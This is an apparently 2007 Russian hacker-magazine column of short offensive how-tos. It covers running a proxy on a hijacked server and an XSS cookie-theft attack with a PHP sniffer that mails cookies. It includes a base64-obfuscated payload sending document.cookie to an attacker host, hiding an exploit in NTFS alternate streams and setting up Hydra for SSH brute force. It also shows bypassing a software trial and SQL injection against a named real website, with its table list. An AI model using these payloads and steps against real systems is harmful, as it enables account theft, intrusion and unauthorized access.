Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #107, НОЯБРЬ 2007 г.

Easy-Hack

Леонид «R0id» Стройков (stroikov@gameland.ru)

Леонид «Cr@wler» Исупов (crawlerhack@rambler.ru)

Владимир «Dot.err» Савицкий (kaifoflife@bk.ru)

Хакер, номер #107, стр. 107-046-1

Задача

  • поднять собственный socks, имея в наличии взломанный *nix-сервер.

Решение

1. Задача вполне осуществима, поэтому при соответствующей подготовке реализация задуманного займет не более 10-15 минут. Поднимать носок будем на базе боунсера (Bouncer Socks-Server), поскольку это наиболее удобный, стабильный и простой в настройке вариант. Выбираем поломанный *nix-сервер из заначки и коннектимся к шеллу.

2. Сливаем Bouncer на ломанный сервер командой:

$ wget http://www.securitylab.ru/_tools/bouncer-1.0.rc6-linux-intel.tar.gz -O /tmp/bouncer.tar.gz

2а. Если на выбранной тобой машине крутится FreeBSD, следует загрузить другой файл:

$ wget http://www.securitylab.ru/_tools/bouncer-1.0.rc6-freebsd-intel.tar.gz -O /tmp/bouncer.tar.gz

3. После разархивации в /tmp запускаем socks:

$ /tmp/bouncer

4. В ответ socks-сервер вывалит тебе список всех опций. Рассмотрим несколько наиболее важных, обеспечивающих выполнение поставленной перед нами задачи (поднятие носка). Удобнее всего использовать socks5: во-первых, этот протокол держит авторизацию, а во-вторых, с ним работает множество утил (в том числе и известная тебе FreeCap). Таким образом, нам понадобятся следующие параметры: ‘--socks5’ - выбор протокола socks5, ‘—port’ - указание порта, ‘--s_user’ - имя пользователя, ‘--s_password’ - пароль пользователя и ‘—daemon’, который позволит нашему носку работать в режиме демона. Запускаем:

$ /tmp/bouncer --socks5 --port 12345 --s_user admin --s_password pass --daemon

5. Вот и все :). Socks-сервер запущен на порту 12345 с аккаунтом вида admin:pass.

P.S. Кстати, аналогичное можно проделать и под Виндой с Win32-версией боунсера, которую следует забрать отсюда:

Все параметры запуска абсолютно те же, что и в *nix-варианте, только вбивать их нужно в cmd.exe.

Задача

  • увести чужой аккаунт на web-сайте через XSS-баг

Решение

XSS (не что иное, как Cross Site Scripting) представляет собой тип уязвимостей, в ходе эксплуатации которых возможно выполнение произвольного JavaScript-кода. Его исполнение может осуществляться с целью хищения админских куков и последующего получения контроля над атакуемым ресурсом.

Рассмотрим повседневный пример. Для решения задачи представим, что у нас есть дырявый двиг на сайте www.target.com, который содержит в себе XSS-баг по адресу www.target.com/error.php?message=<script>наш_код</script>.

1. Пишем PHP-снифер, который получит отправленные данные пользователя с уязвимого ресурса. Пример:

<?php

if(isset($QUERY_STRING))

{

$date= date('d.m.y : H:i:s');

mail("your_email@mail.ru", "Cookies", " Date and Time: $daten IP: $REMOTE_ADDRn Adress: $HTTP_REFERERn Cookie: $QUERY_STRINGn ASS: $HTTP_ACCEPTn Agent: $HTTP_USER_AGENTn Host: $HTTP_HOSTn Server: $SERVER_PORTn script: $SCRIPT_NAMEn method: $REQUEST_METHODn bite: $CONTENT_LENGRHn root: $DOCUMENT_ROOT");

}

?>

Вместо your_email@mail.ru указывается реальный мыльник, на который будут стекаться конфиденциальные данные :).

2. Заливаем написанный снифер на любой из своих веб-шеллов (главное, чтобы на сервере стоял PHP). В крайнем случае можно заюзать какой-либо бесплатный хостинг с поддержкой PHP. Аплоадить скрипт необходимо в веб-директорию. Например, сюда:

http://www.hacker.com/snif.php

3. Составляем «ядовитый» линк, который мы и будем пихать жертве:

http://www.target.com/error.php?message=<script>document.location='http://www.hacker.com/snif.php?'+document.cookie</script>

4. Получившаяся ссылочка выглядит некрасиво и неаппетитно. А нам нужно, чтобы юзер непременно проглотил наживку. Поэтому кодируем наш JavaScript-код алгоритмом base64:

http://www.target.com/error.php?message=

PHNjcmlwdD5kb2N1bWVudC5sb2NhdGlvbj0naHR0cDovL3d3dy5oYWNrZXIuY29tL3

NuaWYucGhwPycrZG9jdW1lbnQuY29va2llPC9zY3JpcHQ+

5. Далее все зависит от твоих способностей в сфере социнженерии и умения впихивать линки незнакомым людям :). После того как юзер/админ пройдет по ссылке, его куки тут же отправятся на наш снифер, а тот, в свою очередь, любезно скинет их тебе на мыло :).

Задача

  • так спрятать в чужой Винде сплоит, чтобы его невозможно было найти даже при включенной опции «Отображать скрытые файлы и папки».

Решение

1. Мы собираемся скрыть наши файлы на локальном (а имея доступ к shell, и на удаленном) компьютере под управлением Windows, используя особенность представления файлов в NTFS. Дело в том, что любой файл в файловой системе NTFS - это совокупность потоков данных, и то, что привычно видеть обычному пользователю в окошке Explorer'a, - лишь один из потоков данных, составляющих файл, пусть даже и основной. Информацию о других потоках стандартными средствами Винды получить нельзя. Добавление нового потока не изменяет размер файла, не изменяется и контрольная сумма файла. Имя файла и имя потока, принадлежащего этому файлу, разделяются двоеточием:

файл:поток

2. Добавим наш сплоит shaded в поток stream1 файла target.dll. Для этого в командной строке наберем:

type shaded >> target.dll:stream1

Здесь команда type выведет содержимое файла shaded, но вывод будет перенаправлен (>>) в нужный нам поток.

4. Стандартными средствами системы проверить результат не удастся, поэтому можно воспользоваться одной из freeware-программ для обнаружения альтернативных потоков данных, таких как streams от Марка Руссиновича (www.sysinternals.com) или lads от Frank Heyne Software (www.heysoft.de).

5. В результате для файла target.dll имеем поток stream1, по размеру равный скрываемому сплоиту shaded, однако размер файла target.dll не изменился. Для того чтобы просмотреть информацию, находящуюся в потоке, наберем:

more < target.dll:stream1

6. Итак, мы скрыли наш сплоит, скопировав его содержимое в поток. Но рано или поздно его нужно будет оттуда достать. Это можно сделать командой:

more < target.dll:stream1 >> spl

Здесь «more <» выводит в консоль содержимое потока stream1, а команда «>>» перенаправляет вывод в файл spl.

P.S. Наша задача выполнена - мы скрыли сплоит, не оставив следов, и вернули его в обычное состояние. Возьмем с полки пирожок... :)

Задача

  • подобрать пароль к SSH дырявого сервака с помощью брутфорсера Hydra.

Решение

Эта задача нестандартна, потому как для ее решения недостаточно дистрибутива Hydra, еще потребуется специальный модуль и внимательное изучение мануала. В общем, действовать тебе необходимо следующим образом:

1. Сливаем библиотеку libssh, которую и юзает Гидра:

$ wget http://xtools.org/other/libssh-0.1.tgz -O /tmp/libssh-0.1.tgz

2. Переходим в каталог /tmp (для удобства):

$ cd /tmp

3. Распаковываем слитую ранее библиотеку:

$ tar zxf libssh-0.1.tgz

4. Переходим в извлеченный каталог:

$ cd libssh-0.1

5. Приступаем к сборке:

$ ./configure

$ make

$ make install

6. Копируем исошник в /usr/lib:

$ cp /usr/local/lib/libssh.so /usr/lib/

7. Инсталлируем и запускаем Гидру. Теперь брут по SSH будет работать :).

Задача

  • поработать с FTP-клиентом CuteFTP 8, у которого истек демонстрационный срок.

Решение

Как известно, при попытке запуска после истечения триала CuteFTP выдает окошко-наг, в котором присутствуют две кнопки: Enter Serial Number и Close. Попробуем обойти это досадное ограничение.

1. Основная программа инициализировалась в памяти, ведь наг выведен на фоне окна FTP-клиента. Для того чтобы поработать с программой, придется каким-то образом получить доступ к заблокированному окну. Прибегнем к помощи InqSoft WindowScanner. Запускаем его. Используя инструмент «Прицел», выделяем основное окно программы CuteFTP.

2. Нажимаем на кнопку «Управление» для вывода на экран панели управления активным окном. Она тут же появится в нижней части окна программы. Из всех кнопок этой панели нас интересует одна - кнопка «Окно активно» (по счету она седьмая слева). Жмем ее и... готово! Окно CuteFtp теперь доступно, с программой можно работать.

3. Навязчивый наг на время работы можно убрать путем выделения его окошка инструментом «Прицел» и нажатия на кнопку «Окно видимо» на панели управления окнами.

Альтернатива

Существует пакет Sign of Misery (s0m.narod.ru) от той же конторы, который обладает возможностью написания несложных скриптов. С его помощью можно выполнять еще более изощренные вещи, обладая лишь базовым набором знаний и не владея отладчиком и другими крякерскими инструментами!

Задача

  • извлечь таблицы и поля из MSSQL при наличии SQL-инъекции.

Решение

Давай разберемся в ситуации на конкретном примере. Как ты знаешь, в мускуле в большинстве случаев названия таблиц в базе приходится либо подбирать ручками, либо брутить специально предназначенным для этого софтом. Исключение составляет лишь MySQL пятой версии (и ниже), в котором так же, как и в MSSQL, есть очень полезная для нас с тобой база под названием information_schema. В ней содержится информация о названии всех таблиц и полей, хранящихся в СУБД. Причем обратиться с запросом к БД information_schema может любой юзер СУБД независимо от прав доступа. Так что будем действовать согласно следующему плану:

1. Посмотрим, как все вышеизложенное работает на практике. Берем заведомо уязвимый ресурс:

http://www.onlinecasinoreports.com/news_show_cat.asp?cat=1%27

2. Подбираем количество полей:

http://www.onlinecasinoreports.com/news_show_cat.asp?cat=1%27+union+select+1,2,3--

Составляем кверю вида:

http://www.onlinecasinoreports.com/news_show_cat.asp?cat=1%27+union+select+1,table_name,3+from+information_schema.tables--

3. В качестве ответа получаем список всех доступных табличек:

...

ADMIN_LOGIN_ATTEMPTS

archive

bnr_banner_types

bnr_banners

BNR_VIEWD_BANNER_LOGS

BNR_VIEWD_BANNER_LOGS_SUMMARY

BRANDS

CATEGORIES

...

4. Радуемся, поскольку в этом случае нам повезло. MSSQL вернул нам все и сразу :). Обычно в запросах приходится использовать конструкцию top, которая является убогим аналогом limit'а в мускуле.

Задача

  • незаметно и безопасно качать файлы из пиринговых сетей с помощью DC++

Решение

Для примера возьмем одну из файлообменных пиринговых (peer-to-peer) сетей и рассмотрим настройки ее клиента. Direct Connect — это пиринговая сеть, в основе работы которой лежит файлообменный протокол, разработанный фирмой NeoModus. Прог для работы с этими сетями написано много, у большинства из них открытый код. Но, несмотря на их большое разнообразие, все они похожи, так как являются доработанными версиями одного из самых первых клиентов для сетей Direct Connect - DC++. Таким образом, у всех клонов DC++ будут схожие настройки.

1. Защищаемся носками :).

Последние версии DC++ поддерживают работу с Socks 5. Запускаем DC++, открываем «File -> Settings». В появившемся меню выбираем Connection Settings. Переставляем переключатель на самый нижний пункт SOCKS5, после чего нам дают возможность вбить IP сокса (Socks IP), порт (Port), логин (Username) и пароль. Ни для кого не секрет, что отыскать бесплатный сокс несложно, но тут стоит задуматься о скорости закачки. Не забываем также проверить, поставлена ли галочка напротив Use SOCKS5 server to resolve hostnames («Использовать сервер SOCKS5 для обработки хостов»).

2. Усиливаем защиту.

В этом же окошке Settings выбираем Advanced. Перед нами список дополнительных настроек DC++, где включенные опции помечены галочками. Проверяем наличие галочки напротив «Enable safe and compressed transfers» («Разрешить защищенные передачи и передачи со сжатием»). Таким образом повышаем безопасность и скорость передачи файла. Если не галочка поставлена по умолчанию, ставим.

Далее снимаем галочку с опции «Add finished files to share instantly», то есть запрещаем добавлять скачанные файлы в шару. Тем самым мы убираем от посторонних глаз полученные файлы у себя на компе.

Осталось сделать пару штрихов, чтобы устранить всякое присутствие следов закачки. Отключаем опцию «Don't delete file lists when exiting». После выключения DC++ все скачанные файл-листы (списки расшаренных файлов удаленного пользователя) будут автоматически стираться. По умолчанию они сохраняются в папку FileLists в рабочем каталоге DC++. Последней нашей настройкой будет отключение логирования закачек. Для этого перейдем в «File -> Settings -> Logs» и снимем галочку с пункта Log downloads.

3. Меры по защите приняты. Теперь можно безопасно скачивать нужную инфу.

Задача

  • перевести на русский язык текстовую строку в модной программе The Directory Player.

Решение

Для примера возьмем строку «1by1 » в заголовке окна миниатюрного плеера 1by1.

1. Открываем файл в шестнадцатеричном редакторе WinHex.

2. В меню выбираем «Search -> Find Text».

3. В поле поиска вводим: «1by1 - The Directory Player», в поле кодировки выбираем ASCII (довольно часто строки хранятся именно в этой кодировке).

4. Строчка «1by1 - The Directory Player» встречается в программе несколько раз (это можно проверить, продолжив поиск по <F3>), поэтому придется перевести все ее вхождения. Как это делается? Заменить строку русским аналогом («Суперпроигрыватель» :)) проще всего путем редактирования в окне ASCII-дампа (справа от области шестнадцатеричного дампа), забив лишние байты пробелами. После замены сохраняй файл и смотри на плоды своего труда.

Если ты имеешь дело со строкой в кодировке Unicode, то все немного сложнее. Как ты заметил, каждый символ в Юникоде кодируется двумя байтами, причем в случае символов английского алфавита второй байт является нулевым. В такой ситуации заменяй символы, не трогая нулевые байты (они отображаются точками).

Альтернативное решение

Если ты опасаешься навороченности и сложности WinHex, можно воспользоваться любым редактором ресурсов, например Restorator (www.bome.com/Restorator/download.html) или же простейшим ResHack (www.toksin.ru/prog/ut/ResHacker.exe). Вот пример того, как выполнить нашу задачу, используя утилиту Restorator.

1. Открываем распакованный файл.

2. Выбираем из иерархического древа узел «Dialog -> 200» (в других версиях номер ресурса может быть и не 200, все зависит от версии программы; главное - отыскать в подпапке Dialog форму, представляющую собой основное окно программы с заголовком «1by1 - The Directory Player»).

3. Нажимаем кнопку Edit Mode (или клавишу <F6>) для редактирования нашего ресурса.

4. В поле Caption вводим перевод нашей строки. Далее выбираем «File -> Save As», подтверждаем изменения и сохраняем файл под другим именем.

P.S. Незарегистрированная версия Restorator делает вышеописанное криво, вдобавок дополняя все заголовки окон ссылками на сайт своего производителя. Так что лучше либо разжиться регистрацией, либо пользоваться ResHack (он бесплатен).

Содержание
ttfb: 6.3800811767578 ms